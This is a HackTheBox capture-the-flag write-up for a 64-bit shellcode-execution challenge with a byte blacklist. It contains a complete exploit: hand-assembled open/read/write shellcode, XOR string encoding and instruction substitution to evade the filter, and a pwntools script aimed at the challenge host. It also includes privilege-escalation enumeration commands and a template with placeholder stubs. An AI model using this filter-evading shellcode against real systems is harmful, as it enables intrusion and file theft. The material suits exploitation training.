Execute (pwn_execute)
Execute (pwn_execute)
Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Easy-medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-02-03 | Status: Solved Techniques: blacklist_bypass, instruction_substitution, orw_shellcode, stack_shellcode, xor_string_encoding
Summary
Task: Write shellcode to read flag.txt under a 60-byte limit with a 16-byte blacklist filter. Solution: Use open/read/write (ORW) syscall chain instead of blocked execve, XOR-encode the "flag.txt" string with key 0x22 to bypass banned bytes, substitute blocked instructions with push/pop equivalents, and decode the string at runtime with a compact loop.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackthebox| ID:20260203_htb_execute - Tags: x86_64, shellcode, byte_blacklist, xor_encoding, open_read_write, execstack
- Indicators: execstack, byte blacklist check, shellcode execution, read into buffer then call, banned syscall bytes
- Source:
20260203_htb_execute.md
Foothold
Vulnerability / Misconfiguration
- Blacklist_bypass
- Instruction_substitution
- Orw_shellcode
- Stack_shellcode
- Xor_string_encoding
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- blacklist_bypass
- instruction_substitution
- orw_shellcode
- stack_shellcode
- xor_string_encoding
- Tags: x86_64, shellcode, byte_blacklist, xor_encoding, open_read_write, execstack
Original Writeup
<details><summary>Click to expand original content</summary>Description
Hey, just because I am hungry doesn't mean I'll execute everything
Remote: nc 83.136.253.132 37814
Files
execute— ELF 64-bit LSB PIE executable, x86-64, dynamically linked, not strippedexecute.c— Source codeflag.txt— Fake flag for local testing
Analysis
Binary Properties
| Property | Value |
|---|---|
| Arch | x86-64 |
| RELRO | Partial |
| Stack | Executable (-z execstack) |
| NX | Disabled |
| PIE | Yes |
| Canary | No |
Source Code
The binary reads up to 60 bytes of user input into a stack buffer, checks every byte against a 16-byte blacklist, and if all bytes pass — casts the buffer to a function pointer and calls it. Classic shellcode execution with a twist: a byte-level blacklist filter.
int check(char *a, char *b, int size, int op) {
for(int i = 0; i < op; i++) {
for(int j = 0; j < size-1; j++) {
if(a[i] == b[j])
return 0;
}
}
return 1337;
}
The check() function iterates over every blacklist byte (a[i]) and every input byte (b[j]). If any match is found, it returns 0 (fail). Otherwise returns 1337 (pass).
The Blacklist (16 bytes)
| Hex | ASCII | Significance |
|---|---|---|
0x3b | ; | execve syscall number (59) |
0x54 | T | — |
0x62 | b | Part of /bin/sh |
0x69 | i | Part of /bin/sh |
0x6e | n | Part of /bin/sh |
0x73 | s | Part of /bin/sh |
0x68 | h | Part of /bin/sh + push imm32 opcode |
0xf6 | — | Used in xor rsi, rsi encoding |
0xd2 | — | Used in xor rdx, rdx encoding |
0xc0 | — | Used in xor rax, rax / xor eax, eax encoding |
0x5f | _ | pop rdi opcode |
0xc9 | — | leave / used in xor ecx, ecx |
0x66 | f | Part of "flag" + operand size prefix |
0x6c | l | Part of "flag" |
0x61 | a | Part of "flag" |
0x67 | g | Part of "flag" + address size prefix |
What's Blocked
execve("/bin/sh", ...)— Completely blocked: syscall number0x3b, all chars of/bin/sh, andpop rdi(0x5f) are banned.- Direct "flag.txt" string — All four letters of "flag" are banned bytes.
- Common zeroing instructions —
xor rax,rax(uses0xc0),xor rsi,rsi(uses0xf6),xor rdx,rdx(uses0xd2). push imm32(0x68) — Can't push strings directly onto stack.pop rdi(0x5f) — Can't use standard calling convention setup.
What's NOT Blocked
syscall(0x0f 0x05)push imm8; pop regpattern (e.g.,6a 00 58for zeroing rax)mov rdi, rsp(0x48 0x89 0xe7)movabs rax, imm64(0x48 0xb8 ...)xor byte [rdi], imm8(0x80 0x37 KEY)xchg rax, rdi(0x48 0x97)loop(0xe2)
Solution
Strategy: Open/Read/Write (ORW)
Since execve is too heavily restricted, use a file-reading shellcode chain:
open("flag.txt", O_RDONLY)— syscall 2read(fd, buffer, 80)— syscall 0write(STDOUT, buffer, 80)— syscall 1
Bypassing the Blacklist
String encoding: XOR-encode "flag.txt" with key 0x22:
"flag.txt" = 66 6c 61 67 2e 74 78 74
XOR 0x22 = 44 4e 43 45 0c 56 5a 56 (all clean!)
Key 0x22 was chosen because ALL encoded bytes avoid the blacklist.
Instruction substitutions:
| Blocked instruction | Replacement | Bytes |
|---|---|---|
xor rax, rax (uses 0xc0) | push 0; pop rax | 6a 00 58 |
xor rsi, rsi (uses 0xf6) | push 0; pop rsi | 6a 00 5e |
xor rdx, rdx (uses 0xd2) | push 0; pop rdx | 6a 00 5a |
pop rdi (0x5f) | mov rdi, rsp or xchg rax, rdi | 48 89 e7 / 48 97 |
push imm32 (0x68) | movabs rax, imm64; push rax | 48 b8 ... 50 |
Shellcode Breakdown (60 bytes exactly)
Phase 1 — String setup (13 bytes):
push 0 ; null terminator qword movabs rax, 0x565a560c45434e44 ; XOR-encoded "flag.txt" push rax ; string on stack
Phase 2 — XOR decode loop (14 bytes):
mov rdi, rsp ; point to encoded string push 8; pop rcx ; counter = 8 .loop: xor byte [rdi], 0x22 ; decode one byte inc rdi loop .loop ; decrement rcx, jump if != 0
Phase 3 — open("flag.txt", 0) (11 bytes):
mov rdi, rsp ; filename pointer push 0; pop rsi ; flags = O_RDONLY push 2; pop rax ; syscall 2 = open syscall
Phase 4 — read(fd, rsp, 0x50) (13 bytes):
xchg rax, rdi ; fd from open() into rdi mov rsi, rsp ; buffer = stack push 0x50; pop rdx ; count = 80 push 0; pop rax ; syscall 0 = read syscall
Phase 5 — write(1, rsp, 0x50) (9 bytes):
xor edi, edi ; rdi = 0 inc edi ; rdi = 1 (stdout) push 1; pop rax ; syscall 1 = write syscall ; rsi/rdx preserved from read()
Exploit Script
#!/usr/bin/env python3
from pwn import *
context.arch = "amd64"
HOST = "83.136.253.132"
PORT = 37814
BLACKLIST = set(b"\x3b\x54\x62\x69\x6e\x73\x68\xf6\xd2\xc0\x5f\xc9\x66\x6c\x61\x67")
sc = b""
# Phase 1: Push XOR-encoded "flag.txt\0" on stack (13 bytes)
sc += b"\x6a\x00" # push 0
sc += b"\x48\xb8\x44\x4e\x43\x45\x0c\x56\x5a\x56" # movabs rax, encoded
sc += b"\x50" # push rax
# Phase 2: XOR decode loop (14 bytes)
sc += b"\x48\x89\xe7" # mov rdi, rsp
sc += b"\x6a\x08\x59" # push 8; pop rcx
sc += b"\x80\x37\x22" # xor byte [rdi], 0x22
sc += b"\x48\xff\xc7" # inc rdi
sc += b"\xe2\xf8" # loop -8
# Phase 3: open("flag.txt", 0) (11 bytes)
sc += b"\x48\x89\xe7" # mov rdi, rsp
sc += b"\x6a\x00\x5e" # push 0; pop rsi
sc += b"\x6a\x02\x58" # push 2; pop rax
sc += b"\x0f\x05" # syscall
# Phase 4: read(fd, rsp, 0x50) (13 bytes)
sc += b"\x48\x97" # xchg rax, rdi
sc += b"\x48\x89\xe6" # mov rsi, rsp
sc += b"\x6a\x50\x5a" # push 0x50; pop rdx
sc += b"\x6a\x00\x58" # push 0; pop rax
sc += b"\x0f\x05" # syscall
# Phase 5: write(1, rsp, 0x50) (9 bytes)
sc += b"\x31\xff" # xor edi, edi
sc += b"\xff\xc7" # inc edi
sc += b"\x6a\x01\x58" # push 1; pop rax
sc += b"\x0f\x05" # syscall
assert len(sc) == 60
for i, b in enumerate(sc):
assert b not in BLACKLIST, f"Bad byte 0x{b:02x} at offset {i}"
r = remote(HOST, PORT)
r.recvuntil(b"everything\n")
r.send(sc)
result = r.recvall(timeout=5)
if b"HTB{" in result:
flag = result[result.index(b"HTB{"):result.index(b"}") + 1]
print(f"FLAG: {flag.decode()}")
Lessons Learned
- ORW > execve — When
execveis restricted, open/read/write is the reliable fallback for flag exfiltration. - XOR key selection — Systematically check that ALL encoded bytes avoid the blacklist. A simple script iterating keys 0x01-0xFF finds valid keys quickly.
- Instruction polymorphism — x86-64 has many equivalent instruction encodings.
push/popis almost universally clean and can replace most register operations. - Manual byte audit — Always verify every shellcode byte against the blacklist programmatically before sending.
- Size budgeting — With a 60-byte limit, plan each phase's byte count upfront. The XOR decode loop (14 bytes) is more compact than 8 individual
xor byteinstructions (40 bytes).
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR